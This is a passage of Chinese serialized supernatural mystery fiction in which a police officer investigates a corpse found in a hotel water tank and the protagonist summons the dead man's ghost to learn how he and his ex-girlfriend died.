在将尸体搬到车辆上时，林凌路过了许多在酒店前台争吵的客人，前台被这些想要退房、申请赔偿的客人挤满了。
一觉醒来，听到酒店的水箱里有一具尸体，甚至已经泡了好几天，这让现在正住在这里的和曾经下榻过世纪大酒店的客人全都炸锅了，大家一股脑全都冲到前台，跟酒店经理要说法。
顾经理被围在了人群之中，面对群众的谩骂和声讨，只能一个个赔不是，请大家耐心等待警方的调查结果。
虽然沈聆是在清晨报警的，但是不到一个小时，就已经成为了同城热搜，并冲上了邻近几个县区的早间新闻，世纪大酒店算是陵川市为数不多的五星级酒店，原以为价格越高、服务越好，没想到花了钱，还用了不干不净的水，这谁能忍？世纪大酒店的客服电话已经被打爆了，群众情绪激动，叫嚷着要酒店给一个说法。
林凌带着同事从后门开辟了一条警方的出入通道，避免这些吵闹的纠纷影响办案进程。
林凌在现场安排鉴证科的同事调查取证，因为天台的自然条件环境比较恶劣，线索保存的情况较差，光从现场来看，并没能提取到其他有用的信息。
林凌只能开始着手调查黎磊本人的信息。
令人感到疑惑的是，黎磊，曾经也住在1808号房，就在顾倩倩在1808号自杀后的一个星期，也就是顾倩倩的头七之日，他住进来了。
林凌调取了酒店的监控录像，按照大厅和酒店外的监控录像内容来看，黎磊和顾倩倩一样，办理入住时，是一个人入住的，并且在酒店入住期间，并没有其他人来看望他。
他的生活轨迹比较单一，在入住期间，大部分时间都是昼伏夜出，白天在房间里睡觉，晚上出门，一直到凌晨才回来，而回来的时候，又都是一个人，因此要调查他的轨迹，并不容易。
黎磊的尸体没有任何东西，包括衣物和私人物品全都不知所踪，他就这么被丢在了备用水箱里，近乎一米八的男人，像一个被丢弃的玩偶，在暗无天日的水箱里，等待他人发现。
可偏偏备用水箱的管理程序松散，他的尸体愣是在水里泡了一个月才被沈聆发现。
“……沈聆，你发现尸体的时候，周围有看到可疑的人吗？”
林凌在房间里询问，他坐在沈聆的对面，拿着一本小本子，给沈聆做笔录。
毕竟是第一个发现尸体的人，警方要例行记录。
沈聆摇了摇头：“没有，我是自己发现的……额，对了，还有明夷。”
沈聆微微回过头，看了看躺在床上呼呼大睡的宋明夷，她好像很累，睡得很沉，这房间里许多警察进进出出地忙活，她也浑然不觉。
“不过，她应该也不需要提供什么证词吧，因为发现尸体是我自己发现的，当时明夷正在睡觉，啥都没看到，天台……就我们两个人。”
如果黑白无常不算在内的话，的确是只有他们俩。
不过黑白无常准确来说，确实不能算是人。
沈聆心虚地想着。
她还是第一次要在警察面前撒谎，林凌的眼神带着凌厉的锋芒，这似乎是他的职业习惯，在录口供的时候，看谁都一副像看着犯人的眼神。
顶着压力，沈聆还是撒谎了——毕竟亲口说出是黑白无常和她一起找到尸体的，这是个人都不会相信。
“她……还好吗？”
林凌感觉宋明夷睡得太沉了，有点不太对劲。
沈聆挠了挠头，不好意思地笑了笑：“没事，她就是昨天熬夜了一下，通宵嘛，你也知道，人都比较累，睡一下就好了。”
“但是……刚才好像是被从天台扛下来的？”
“额……她跟我去天台之前，吃了定安神安眠的药，本来想吹吹风再回来睡觉，没想到发现了尸体，我就忙着报警，就没有管她，没想到她自己靠着烟囱睡着了……”
“行，没事就行，如果需要的话，我可以安排同事，送她去平安医院检查一下。”
“没事的，相信我。”
“那行。”林凌说着，低下头看了一眼笔记本，继续问到，“既然她没事的话，那么……我有一些问题要问你，沈凝，你也不用紧张，就把自己知道的事情告诉我就行了，你的口供，对我们后续调查的开展有帮助。”
“好。”
“你和宋明夷……为什么会住进世纪大酒店？而且，还是在这个房间？”
“是酒店的顾经理邀请明夷的。”沈聆如实回答，“你也知道，明夷是一个灵异主播，最近热度也很高，酒店的顾经理觉得可以请她来为酒店做一期专题的灵异事件报道，说不定可以吸引更多的旅客到酒店探访，提高酒店的知名度和入住率。”
“那你为什么也在？”
“是明夷叫我一起来的，她说一个人住着心里发毛，而且，你也知道我的体质比较特殊，如果我在的话，说不定会出现一些……更值得拍摄的画面，增加视频的……‘观赏性’。”
沈聆说得很隐晦。
但毕竟也一起经历过许多事，林凌自然也知道沈聆话里的意思。
“那，你们入住酒店后，有发现什么特殊的事情吗？你们知道这个房间，是顾倩倩曾经住过的房间吗？”
“我们知道的，从刚开始入住酒店的时候，顾经
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理就给我们安排了这个房间，并且为我们提供了顾倩倩的生前有关的记录影像，对了，顾倩倩是之前在这个房间割腕自杀的一个女孩……但我看过那些监控录像，里面没有什么有价值的线索。不过，在这个房间里，的确是发生了一些奇怪的事情。”
沈聆说着，突然感觉到一阵毛骨悚然。
这感觉，就仿佛是一阵寒风，突然吹上了她的脊梁骨，她不由得打了个寒颤，回过头看了一眼身后。
“怎么了？”林凌疑惑地看着她。
“没、没事，我就是……突然觉得有点冷。”
“是不是空调太冷了？我去调高一点。”
林凌起身走向了房门口。
他和几个鉴定科的同事擦肩而过，这几个鉴定科的同事正在房间里调查取证，毕竟这是死者生前唯一住过的房间，里面说不定有留下一些有价值的线索，但毕竟女孩失踪是一个月前发生的事情，酒店的保洁人员在女孩失踪后，便清理了房间，因此能调查到的线索并不多。
几人交换了一下当前调查到的线索，沈聆看到林凌拍了拍同事的肩膀，他们便提着证物箱，先离开了。
林凌调高了空调的温度后，重新坐回了沈聆面前。
“谢谢。”
“你在这个房间，看到了什么奇怪的事情吗？”
“有的，我们住在这个房间的时候，经常会听到一些奇怪的声音，那些声音一般都是从卫生间里传出的，特别是有好几次，水龙头突然自己开了，而且……卫生间的镜子上还出现过奇怪的字。”
“字？”
“对。”沈聆说着，拿出了手机，当时镜面上出现红字的时候，她及时拍下了照片，在照片中，卫生间的镜子上，正写着“立即自杀”这几个字。
林凌一看，倒是陷入了沉默。
“……你们确定在你们离开房间的这段时间，没有人进入房间吗？这些会不会是别人的恶作剧？至于水龙头，可能是开关出现了问题，或者是其他故障，这都可以解释。”
沈聆摇了摇头：“应该不会的，根据服务员小赵的说法，这18楼就我和明夷两个人住着，而且我们离开前后，并没有发现房间有人进入的痕迹，18楼闹鬼的事大家应该也都知道，就算是小偷应该也不会到没什么人住的18楼来碰运气吧？”
“会不会是顾经理的手笔？毕竟他要请你们过来拍摄素材，是为了提高酒店的知名度，那么会不会他也想趁此机会吓一吓你们，从而让你们能够更夸大地宣传酒店的灵异事件，起到一个‘提高知名度’的效果？”
“应该不会，因为卫生间的水龙头是突然打开的，而且在镜子上出现那几个字之前，我还用过厕所，我确定那个时候镜面上是没有字的。”
“嗯……”林凌陷入了沉思。
沈聆见四下无人，补充说道：“林警官，有一个情况，我认为有必要跟你反馈一下。”
“你说。”
“黎磊的前女友，就是顾倩倩，顾倩倩是在这个房间里的卫生间割腕自杀的，七天之后，黎磊住进了这家酒店，我认为，他的死，很可能和顾倩倩之死有关。”
202. 故旧
“顾倩倩？”
“对，我们之所以会入住酒店，也是因为自从顾倩倩在1808的卫生间割腕自杀后，这件房间……不，甚至是整层楼都出现过灵异事件，酒店的顾经理对这个事情很重视，并集成了一个笔记本。”
沈聆说着，将笔记本递给了林凌。
林凌简单翻了翻，发现这本子上密密麻麻均是字，每一次笔记，都有写明时间地点以及反馈人员，而地点，一般都是1808号房，而其中的内容，大部分都是在酒店的房间里出现了灵异事件，例如半夜的脚步声，镜子里奇怪的人影，镜面上的字等等。
这些事情虽然也可以用人的“多疑”进行解释，但是随着事件的积累会发现，这样的事情都是在1808号发生的，如果是一两次，还可以用“偶然”、“疑心病”来解释，同样的事情躲起来了，偶然也变成了一种必然。
酒店的顾经理是有商业头脑的。
知道这样的事情长此以往发展下去，必然会影响酒店的生意，与其等着客人们在网络上投诉、毁掉酒店的名声，倒不如自己先请灵异博主进行探店，调查，说不定还能趁机赚一波流量。
毕竟，以服务闻名的酒店比比皆是，以性价比出名的酒店也并不在少，可以灵异事件出名的酒店可并不多，在这个赛道上，世纪大酒店可谓是“一骑绝尘”，说不定还能歪打正着，迎合人们猎奇的心态，吸引更多好奇的顾客入住，让闹鬼的1808号房间，真正变成流量房。
林凌看着那密密麻麻的笔记，他都可以想象出自己今后在镜头前接受采访的时候，是如何诉说自己作为酒店经理的不容易，以及认真记录灵异笔记的耐心十足。
林凌合上了笔记本，看向了沈聆：“……但是，你怎么知道黎磊就是顾倩倩的前男友？”
“实不相瞒，我……曾经在酒店里见过黎磊。”
林凌一惊：“什么？”
沈聆便将自己和宋明夷在电梯里遇到的诡异事情一五一十告诉了林凌。
“那个男人……像是顾倩倩的狂热粉丝，虽然和顾倩倩交往了两年以失败告终，但是他仍旧不死心，甚至在顾倩倩离开后，疯狂寻找她的踪迹，一直到听说顾倩倩在世纪大酒店割腕自杀，我想，他也跟着来到了这里。”
林凌听着这些话，脸色铁青。
林凌虽然知道沈聆身边的灵异事件并不少，但是这么夸张的事情，他还是第一次听。
“你确定你们在电梯里看到的是这个男人吗？”
林凌将一张照片放在了沈聆面前。
那张照片是黎磊的证件照。
在照片上，黎磊的眼神显得空洞而迷茫，仿佛失去了对生活的热情和希望，他的目光直直地盯着镜头，却没有丝毫的生气和活力，就像一个失去灵魂的躯壳一般。
他的脸颊明显地凹陷下去，颧骨高耸，使得整个面部轮廓看起来异常突出，这种消瘦的面容让人不禁心生怜悯，仿佛他经历了许多苦难和折磨。
那双眼睛更是深陷在眼窝里，宛如两个深邃的黑洞，透露出一种无法言说的疲惫和哀伤。这样的眼睛，让人看一眼就难以忘怀，同时也能感受到他内心深处的痛苦和挣扎。
这让沈聆想起了那个服务员在电梯里歇斯底里的模样。
现在想来，还是让她感到一阵后怕。
沈聆点头：“是他，我记得他，当时我们在电梯里看到的那个服务员，就是他。”
“当时除了你们，还有其他在场的人能证明黎磊的存在吗？”
“没有了，就我和明夷，而且在电梯事件发生之后，他就像是人间蒸发了一样。”
“事发之后，你们问过酒店的经理吗？调取过酒店的监控画面吗？”
“有，我去看了监控录像，很诡异的是，在监控画面里，只能看到我和宋明夷两个人，我们就像是对着空气讲话一样，一直到后面电梯晃动，不受控制地下坠……”
林凌沉默了一下，补充说道：“会不会是在电梯的隔间涂了什么涂料，让你们产生了幻觉？”
“林警官，你能做到同时让两个人产生一样的幻觉吗？”沈聆正色道，“当时我和宋明夷还和他对话过，他的说话内容很偏激，而且都是关于顾倩倩的，我能感觉到，他很在乎那个女孩子，只不过，这种在乎，有点太过偏执了，对任何一个人来说都是一种沉重的负担，我想，顾倩倩和他分手的，也是因为他身上的那种偏执和控制欲……太吓人了。”
林凌点了点头，在本子上记下了“顾倩倩”这个名字。
他原本是想记录沈聆说的那些话的，但是转念一想，这些话就算放在了笔录上，也不会有人当真，甚至，还会把沈聆当做疯子看待，于是，对于沈聆的话，他就选择性地记录。
“酒店的顾经理跟你们提过‘黎磊’这个人吗？”
“没有。”沈聆摇头，“他从头到尾，跟我们说的都是顾倩倩自杀的事情，至于那天晚上多出来的那个男服务员，他们也不知道怎么回事。”
“那……吴妄呢？你的那个道长朋友，他应该对这种事情颇有见解吧？”
“唉，这就是我要说的更不可思议的事情了。”
沈聆叹了口气。
接下来，她花了很长时间告诉林凌关于自己在幻境里经历的事情，包括看到的那个一次次被某个男人杀死的红衣女人，以及道长随后赶来救了自己的事情。
只不过，在复述这些事情的时候，她将轩辕血的事情跳过了。
毕竟这件事情关系到吴家村屠村的惨案，越少人知道，越好。
毕竟吴妄是轩辕氏的后代，他身上的稀血，是很多人觊觎的存在。
少一个人知道这件事情，那么吴妄就少一分危险。
林凌在听了沈聆关于幻境的描述之后，沉默了很久。
一直到五分钟之后，才开口说道：“你说的那些……不是我不相信，但是这些话是没有办法当做证词的。”
“没关系，我
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知道的，我只是想告诉你，在水箱里发现的那个尸体，也就是黎磊，和顾倩倩之间一定有千丝万缕的关系。林警官，方便告诉我，黎磊的死因吗？”
“……初步检查，应该是溺死的，至于他是在水箱里淹死还是在其他地方淹死的，还有进一步的调查。”
“那……可以查到是谁把他塞到水箱里去的吗？或者说，可以查出他是生前被丢进去还是死后被丢进去的吗？”
“这个得等进一步调查。”
“原来如此……”沈聆似懂非懂地点了点头，“不过，我总觉得这件事情和世纪大酒店脱不开关系。”
“嗯，我也有这个感觉，毕竟水箱就在酒店天台，备用水箱疏于管理，一个月前还有检查消杀记录，偏偏近来一个月就什么记录都没有了，实在是太蹊跷了，不过这些，都只是我们的推测，在调查结果出来之前，一切都不好说。”
“嗯嗯，你放心吧，我不会说出去的。”
“不过，我看顾经理今天应该很头痛了，我刚才下去一楼的时候，看到一堆顾客围在前台，都是住在世纪大酒店的顾客，楼顶水箱的水都是客人日常烧水喝水用的，现在水箱里平白无故出现了一具尸体，整个酒店都要炸了。”
听到这里，沈聆才反应过来。
好巧不巧，她这昨天和宋明夷都住在这里，吃喝洗澡，全都用的是这里的水。
那么，那些水，是不是就是黎磊尸体泡着的那些水？
……
想到这里，沈聆不由得脸色铁青，感觉到一阵恶心涌上心头，沈聆恶心得干呕了起来。
“yue……”
但她吐不出来东西，只能反胃出一些胃酸。
林凌无奈地耸了耸肩，拍了拍沈聆的后背：“没事吧，要不，闻一闻风油精什么的，会好一点？”
他从口袋里拿出了一小瓶风油精，打开后递给了沈聆。
还别说，闻到了这个味道，那种恶心的感觉确实少了很多。
“你怎么会随身带着这个？”
“哦哦，我以前刚当刑警的时候，经常出现场，看到尸体的时候会感觉恶心，现在已经习惯了，但是警队也还是有新来的警员，担心他们不适应，我就会带在身上以防万一，特别是……调查这种恶性事件的时候，还挺管用的。”
沈聆倒是好奇了起来：“哦？想不到林警官这么贴心？是不是有看上眼的小女警入队啦？要照顾照顾人家？”
林凌一笑：“这倒是没有，也不是说看得上眼，就是队里的女孩子吧，都当兄弟在处了，没想那么多，大家都是风里来雨里去的兄弟，出生入死的，兔子还不吃窝边草呢。”
“这么说，看来可以在警队之外物色一个了。”
沈聆说着，倒是觉得宋明夷很合适。
毕竟宋明夷是护士，护士和警察，这不是很绝配吗？
只不过，她的这番小心思呢，林凌并没有察觉到，他只是看着沈聆，眼中带着几分笑意。
203. 头条热搜
世纪大酒店楼顶水箱发现尸体的信息，直接引爆了网络。
#震惊！酒店的水箱里发现了尸体
#陵川市的都市传说还在继续
#陵川市世纪大酒店
这几个词条直接冲上了热搜前十。
前几波舆论的加持下，陵川市本就因为之前的丑闻，在公众印象中是一个安全系数较低的城市，现在又出现了水箱中的无名男尸，直接将陵川市的灵异buff叠满，现在直接被评为了“中国十大危险城市”。
只不过，与之前瑞京路和平安医院的灵异事件不同的是，这波舆论大部分都集中在对于世纪大酒店的吐槽，尤其是曾经在世纪大酒店住过的人，更是在网上晒出了自己在世纪大酒店的入住记录，声称自己在入住期间使用的是“尸水”，并在离开酒店之后，身体出现了许多不适症状，对此，世纪大酒店应该给大家一个交代。
更有甚者，在网上组建了微信群、□□群，联系上了所有曾经住过酒店的人，认为大家的权利受到了不良商人的侵害，口口声声要声讨酒店方，提出要给每个本月入住酒店的人进行赔偿，至于里面有多少是近一个月入住的人，有多少是真的在酒店住过的人，就另当别论了。
唾沫星子虽然轻，但也能压死人。
在多方舆论夹击下，酒店的官方微博和官方抖音号很快就瘫痪了。
24小时热线也陷入了瘫痪状态。
许多愤怒的人打电话投诉酒店，其中更不乏带着孩子的家长，自己喝点不干净的东西也就罢了，还让孩子们也喝了这水，一旦孩子出现了智力、身体等方面的问题，绝对要将酒店告上法庭。
一夜之间，世纪大酒店从陵川市引以为傲的五星级酒店变成了负面舆论中心。
在这舆论漩涡下，许多房客当天就选择了退房。
世纪大酒店的收入一落千丈，许多住在酒店的工作人员也纷纷辞职，提出要酒店赔偿自己的工伤，以及要支付自己检查身体的费用。
酒店的顾经理沉默地坐在自己的办公室里，一天都没有离开过。
这一整天，他的手机和座机都没有开机。
他的办公室似乎形成了一个与世隔绝的牢笼，他将自己囚禁在里面，不知道在想些什么。
只有侍从小赵在傍晚的时候敲响了顾经理的办公室的门。
“经理，该吃饭了，您已经一天没有吃饭了。”
他的声音依旧波澜不惊，似乎没有任何动静能引起他情绪上的波澜。
“我不吃了……楼下，怎么样？”
“还在为客人们办理退房。”
“知道了。”
“经理……”
“你先走吧，我想一个人静一静。”
“好。”
在听见小赵离开之后，顾经理从自己的抽屉里拿出了一部手机。
这手机几乎是全新的，日常并没有使用过。
他打开手机，简单浏览了一下手机的通话记录，里面并没有来电，于是，他将这把手机放在了自己面前，就这么重新陷入了沉默中，视线轻轻落在手机上，似乎在等待着某个电话。
……
市政府牵头，连夜召开了工作部署会，省里也高度重视这次的凶杀案，协调了多方力量，参与调查。
陵川市刑警大队成立了专案组，由林凌带队，主办本案，势必要在一个星期内将案子侦办，给人民群众一个交代。
专案组抽调了其他县区的警干，林凌也是第一次独挑大梁，承担大案的侦办，他深知这次是自己锻炼的宝贵机会，自己更应该珍惜这次机会，不辜负上级和领导的信任，至少，要把顾倩倩和黎磊的事情搞清楚，不能让死者不明不白地死在世纪大酒店。
凌晨时分，警方连夜召开了汇报会。
在汇报会上，法医汇报了黎磊尸体的尸检情况。
“死者，黎磊，24岁，尸体腐败情况为高度腐败，全身皮肤呈污绿色，手足皮肤呈现‘手套样脱落’，死者面部肿胀，眼球浑浊外凸，头发已大面积脱落，初步判断，是被水流冲刷后形成的毛发脱落。”
“死者颈椎骨骨折、右前臂尺骨骨折、盆骨骨折、左侧股骨骨折，此外，颈部无索沟、扼痕，排除机械性窒息。经解剖发现，死者肺部膨大、水肿，切面溢出淡红色泡沫液，心脏轻度萎缩，冠状动脉无栓塞，血液呈暗红色流动性，初步判断，排除死后抛尸可能。”
“死者胃内容物完全排空，肠道内残留少量腐败气体。对死者的肝脏、脑组织、毛发进行取样分析后我们发现，死者体内有去甲□□残留，结合毛发分段分析，死者生前72小时内曾持续摄入该药物。”
听到这里，正听取汇报的领导提问道：“去甲□□是什么？”
法医停顿了一下，切换了一张PPT，PPT上是一堆白色的粉末：“去甲□□是□□的代谢产物，□□，俗称□□。”
听到这里，会上的众人面面相觑。
大家都是警察，自然知道摄入□□代表着什么。
“难道……死者是吸毒人员？”
“从目前的生化分析和毒理分析结果来看，死者应该是第一次摄入□□，□□的致幻阈值是0.8mg/L，死者应该在生前摄入超过了这个量，不排除因为滥用□□，导致失足跌入水箱中，溺水身亡的可能。”
听到这里，林凌提出了反对意见。
“但是，大家都知道，吸食毒品是犯法的，一般吸毒人员都是在某个不为人知的角落偷偷地吸毒，会跑到天台这种地方吸毒吗？天台算是一个相对开放的公共场所，如果被酒店的工作人员发现了，岂不是暴露了自己吸毒的行为？我认为这一点不符合心理学。”
一个警察反驳道：“虽然天台是相对开放的场所，但是夜晚的天台一般也不会有人去，而且我认为，现场地形较为复杂，如果作为吸毒人员，偷偷躲在天台某
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个烟囱的背后吸毒，逃避监控，也是有可能的。”
林凌摇了摇头：“不，还是不对，死者生前登记入住的是1808号房，他在酒店里已经有自己的房间了，那么为什么不躲在自己的房间里，要选择在天台上吸毒呢？”
另一个警员提出了自己的看法：“会不会……他并不想在房间里留下什么东西，被工作人员或者后面入住的其他旅客发现？”
林凌仔细想了想，仍旧心存疑虑：“若是如此，应该也不会选择世纪大酒店这种地方，大家都知道，吸毒人员一般住的都是不需要登记身份信息的街边的三无旅馆，跑到五星级大酒店吸毒，这一点，我认为很矛盾。”
坐在前面的刘副局长听了，提问道：“说到这个，你们是怎么快速定位到死者的身份信息的？”
林凌起身回答道：“是这样，刘副，我们在捞到尸体后，第一时间对尸体的面部特征进行拍照确认，同时输入了公安系统的犯罪信息库进行比对，因为黎磊之前因为跟踪他人、造成人身威胁进过派出所，所以留下了照片，我们很快就比对上了他的信息。”
“跟踪？”
“是，这也是我要汇报的一个重要信息。”林凌停了停，从桌上拿起了一个死亡信息登记表。
表格上，贴着一个女孩的照片，在姓名那一栏，写着：顾倩倩。
“这位死者，是黎磊的前女友，在一个月之前，在1808号房的卫生间里割腕自杀。”
“等等，1808号房不就是……”
“没错，在顾倩倩割腕自杀后的第七天，黎磊住进了这个房间，他在前女友的头七那天，住进了酒店，他究竟想做什么？我们不知道，但是三天后，黎磊也死在了天台的水箱里，刘副，我认为这不是偶然，顾倩倩的死，和黎磊的死，有很大程度上存在联系。”
“有证据吗？空口无凭，我们警察办案是要讲究证据的。”
“目前还在调查，据我初步了解，他们之前交往过两年，但是在毕业的时候，顾倩倩提出分手了，但黎磊比较偏执，为了挽回女朋友，采取了跟踪、电话骚扰等手段，也因此进了派出所，在他被放出来之后，顾倩倩就和他断联了，他一直在找顾倩倩，没想到，前女友居然在世纪大酒店割腕自杀……接下来我将开始调查这两人的身份背景以及社会接触情况，争取摸清楚他们的关系。”
刘副点了点头：“行，那你就查一查这条线索，另外，也派人去他们的学校了解一下之前两人是否与第三人有恩怨，尤其是黎磊，他如果真是个性格偏执，一定在两人交往期间就做过许多出格的举动，学校的老师同学不会没有印象。”
“是。”
“还有，调取顾倩倩的死亡档案，翻查一下顾倩倩的案子是否有疑点，这女孩子究竟是自杀还是他杀？黎磊是不是知道了什么才被灭口？顾倩倩死亡的消息又是怎么传到黎磊耳中的？这些都要调查清楚。”
“好。”
204. 宋明夷的苏醒
一直到第二天早上，宋明夷才醒来。
这一觉几乎睡了一天一夜，醒来的时候她感觉到脑袋昏昏沉沉的，像是脑壳里像是黏连着厚厚的胶水，她甚至都没办法思考问题，看着沈聆的视线呆滞而木讷，似乎在问：我是谁？我在哪里？
“……明夷，你还记得我吧？”
沈聆看到她那副呆若木鸡的模样，心中不禁有些诧异。
她伸出手，轻轻地在宋明夷眼前晃了晃，想要引起她的注意，然而，宋明夷的眼睛却像是失去了焦距一般，完全没有反应。
沈聆见状，不禁皱起了眉头，她又加大了晃动的幅度，但宋明夷的目光依旧空洞无神，仿佛完全沉浸在自己的世界里。
过了好一会儿，宋明夷的视线才开始慢慢地集中起来，就像是从迷雾中渐渐苏醒过来一样，她眨了眨眼，眼神终于有了些许的神采。
当她的目光最终落在沈聆身上时，那原本黯淡无光的眼眸里，竟然慢慢地泛起了一丝活力，仿佛被重新注入了生命力一般。
“小聆聆？”
沈聆松了一口气：“还能认得我就好，你睡了一天一夜了，我还以为你醒不过来了。”
“我……睡了这么久吗？”
“是啊，自从那天晚上被掳走之后，你就一直沉睡。”沈聆小声嘀咕，“虽然黑白无常大人说没关系，但是睡这么久也太令人担心了吧？”
宋明夷没有听到这后半句话，只是愣怔地环顾了一圈，发现房间还是那个房间，自己躺在柔软的床铺上，几步之外的茶几上，沈聆正打开着笔记本电脑，笔记本电脑上的荧光略微照亮了她的脸颊，让她觉得有点刺眼。
“我们……还在世纪大酒店里？”
“对。那天晚上我们不是看到镜子上的字吗？后面一个女鬼把我们带去了另一个空间，就是我们在面包店看到的那个小女孩，不过你别担心，吴妄道长出手，化解了这次危机……”
于是乎，沈聆便一五一十地将这些事情告诉了宋明夷。
她才刚刚醒来，脑袋还不是很能“运转”，只是目光呆滞地听着沈聆说的话，勉强让自己的思路跟上沈聆的思路。
“这么说……黑白无常也出现了？”宋明夷一骨碌从床上坐了起来，伸长了脖子看着沈聆。
沈聆点了点头：“对。”
“那我……没拍下他们啊！”宋明夷悔恨地一拍床铺，“哎呀，我错过了这么好的素材啊！亏我这次还带来了这么多摄像装备！”
沈聆无奈一笑：“两位大人也不会让你拍到的，人家可不是这种装备能拍到的存在，你可别小看了这些地府的鬼差大人。”
宋明夷挠了挠头：“也是，算了，没拍到也好，不然人家觉得我不尊重，看我不爽，把我的魂勾走了咋整……”
“人家才不会呢，鬼差办事都是按按流程的，都是按照生死簿带人的……不过，说到这个，出现在水箱里的那具尸体，确实出人意料，他不在生死簿上，按照他们的说法，这个人是能活到六十岁的，但是二十四岁就死了，原因不明，他们也没有查到那人魂魄的下落，确实可疑。”
“先不管那个啦，那是他们的活，我们操这么多心干嘛，地府又没有给我们发钱……”提到这个，宋明夷突然想到了什么，“对了，我们是不是……没有退房啊啊？！！我记得顾经理才答应给我们一天免费试住的时间啊，我们现在是不是超期了？”
“对。”
“对什么对啊！”宋明夷用力摇了摇沈聆的肩膀，“小聆聆，这可是世纪大酒店啊！是五星级酒店啊！你知道住在这豪华套房里有多贵吗？我在平安医院一个月才四千块钱啊！”
沈聆一笑，按了按宋明夷的肩膀：“安啦安啦，你放心，三天之前的世纪大酒店或许还很贵，但现在的世纪大酒店，可以说无人居住，房间都是白菜价了。”
“啊？”
“你不信？打开热搜看看，上面人家骂得可难听了，为了保障酒店哪怕还有一点微薄的收入，顾经理压低了所有房型的价格，我们现在一晚上只要一百元。”
宋明夷一惊：“还有这好事？我嘞个豆。”
“你放心吧，只不过，毕竟我是发现了尸体的人，今天早上我去办理手续的时候，顾经理看我的眼神很复杂，有种‘悔不当初’的感觉哈哈哈，不过这有什么办法呢。”
“那个尸体呢？”
“警方早就移走啦，楼上天台也调查得差不多了，毕竟是民办的旅馆，不好把人家的旅馆封起来，现在酒店还是在照常接客，只不过客人走得都差不多了。”
“不过，小聆聆，我们是不是也喝了一天这酒店的水啊……”
沈聆沉重地点了点头：“很不幸，是的。”
“我们洗澡和游泳好像也是在酒店里？”
“没错。”
“Yue——我踏马的要去找姓顾的赔偿！！！”
……
入夜之后，天台的风阴森森地刮遍天台的每一个角落，每一寸风里都带着凉意，像是一把冰冷的刀子，刮着温热的脸颊。
那风声，就像是死者的哀嚎，又像是亡灵的叹息。
卷入了黑暗的角落，沉默在无人知道的天际。
在水箱旁边，拉着黄色的警戒线，只不过现场的痕迹鉴定、物证调查已经结束，到了晚上也没有警察在这里轮值。
而现在，恰好就是沈聆要“干活”的时间。
在宋明夷昏睡的时候，她抽时间回了一趟家，跟外婆说了在世纪大酒店发生的事情。
外婆在听到玉蘅子真人救了沈聆后，倒是沉默了良久。
“惺惺作态。”
外婆是这么说的，沈聆也不敢反驳。
外婆说，世纪大酒店这个地方，本身风水就不好，是阴气汇聚的地方，这地方和陵川一中一样，一个建了学校，一个盖了酒店，都是试图用汇聚起来的人气增加这个地方的阳气，但却也容易在这样的地方发生诡秘之事。
1808，就是很好的例子。
极阴，便能发生异变。
而横死在酒店里的亡魂，便是那些都留在阳间的存在。
沈聆在家里请了香后，回到了世纪大酒店。
在宋明夷醒来后，两人先是查看了原先在房间安装布置的各类灵异捕捉设备，但奇怪的是，这些设备并没有发现有奇怪的痕迹存
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在，所有的录像画面在沈聆和宋明夷进入卫生间之后便戛然而止，出现了信号干扰，随后突然中断。
因此，他们也没办法从科学设备中找到想要的答案。
解铃还须系铃人。
如果要调查清楚黎磊和顾倩倩的关系，或许，也就只有像黑白无常说的那样，去问问本人了。
时近午夜，沈聆和宋明夷来到了天台。
因为她们之前在电梯里见过一次黎磊，她们知道这是一个偏执且带有攻击性、危险性的亡灵，为了尽量不冒犯到他，一向喜欢带着摄像装备的宋明夷这次居然并没有带任何拍摄装备。
她单纯想知道黎磊和顾倩倩的关系，并且如果可能的话，想要为两人做一期专题报道视频，希望能够从死者的角度，阐述二人之间的过去。
她认为，这是最好的能够为死者伸冤，同时又能行善积德的做法，也是作为一个媒体人的职业素养。
来到了天台，沈聆走到了备用水箱之前。
她闭上眼睛深呼吸了一下，她能感觉到附近的阴气最终都汇聚在这个备用水箱附近。
备用水箱就像是一个旋涡眼，将所有的阴魂之气汇聚其中，在月光之下，滋生恶念。
她按照以往的做法，将鎏金香炉放在面前，并将小镜子放在了香炉后、面对着自己，点亮了结魄灯，同时，恭恭敬敬地插上了三柱香。
“我是第44任阴厨，沈聆，祭告上苍，抚慰亡灵，今天晚上，我欲祭拜的，是死在此处的冤魂，黎磊。”
沈聆闭上眼睛，小声念着亡魂的信息。
“天地阴阳，万物生灵，幽幽魂魄，徘徊于世，以灯为凭，以香为引，招魂于此，速速现身！”
在念完咒语的时候，沈聆手链上的银铃响了。
“叮铃……”
银铃响，恶鬼现。
她抬起头，看向了香炉前放着的那个小镜子。
在镜子里，自己的脸色有点儿苍白，在她面前，黄泉路再一次打开，鲜血，从地砖的缝隙里渗出，随后汇成了大片大片的血污，许多骷髅从那血泊中伸出手来，耳畔，听到了亡魂的哭声，他们哭诉着，哀嚎着。
头顶，月亮也悄然被云层遮蔽，天台陷入了更加深沉的黑暗之中。
“叮铃……”
当第二遍铃声响起的时候，沈聆看见镜子里自己身后出现了一个模糊的影子！
先是一只泡得浮肿的手爬上了她的肩膀，随后，一个发白、肿胀的身体出现在了镜子里。
他瘦长的身体上松松垮垮地挂着被水泡涨了的肉，脸上的肉几乎要从脸颊上掉下来。
肿了的眼球就这么瞪着镜子里的沈聆，微微张开嘴巴，液体从他的嘴角溢出，流了下来。
他似乎有话想说，但是满肚子全都灌满了水箱里的水，反而说不出话来。
“……你就是，黎磊吧。”
沈聆沉声问道。
对方点了点头，他盯着镜子里的沈聆，眼神里满是哀伤和绝望。
似乎，在那个阴暗的水箱里，他待了太久太久了。
太冷，太黑。
“你的死因，是顾倩倩吗？”
205. 桃花酥
“你的死因，是顾倩倩吗？”
听到这个问题，黎磊的魂魄肉眼可见地表情一僵硬，他往后退了退，像是不愿意面对某个真相一般，微微将脸转向别处，只不说话。
他的身体也从原来泡发后的苍白色开始泛红，逐渐浓郁的血腥味在环境之中开始蔓延。
“喀拉。”
突然，香炉后的小镜子发出了碎裂的声音，沈聆眼角余光，看见镜子竟然裂开了一道狭长的痕。
【糟糕！】
沈聆意识到外婆曾经嘱咐过自己，不可询问亡魂的死因，于是忙改口说道：“那天在电梯里，我们见到的那个服务员，就是你吧，你待在这里，是因为有解不开的仇恨吗？”
听到这里，黎磊才略微回过头看向了沈聆，他微微张开嘴巴，像是有什么话想说，但千言万语，最后只化作一声叹息。
“你……是跟着顾倩倩来到这家酒店的，你想调查清楚顾倩倩的死因，没想到，发现顾倩倩的死没有那么简单，是不是？她虽然是在1808号房的卫生间里割腕自杀的，但是那只是表象，说不定，她并非自杀，而是……他杀？”
听到这里，黎磊没有说话，而是转过头，正视着镜子里的沈聆。
他的这个反应，倒是印证了沈聆的猜测。
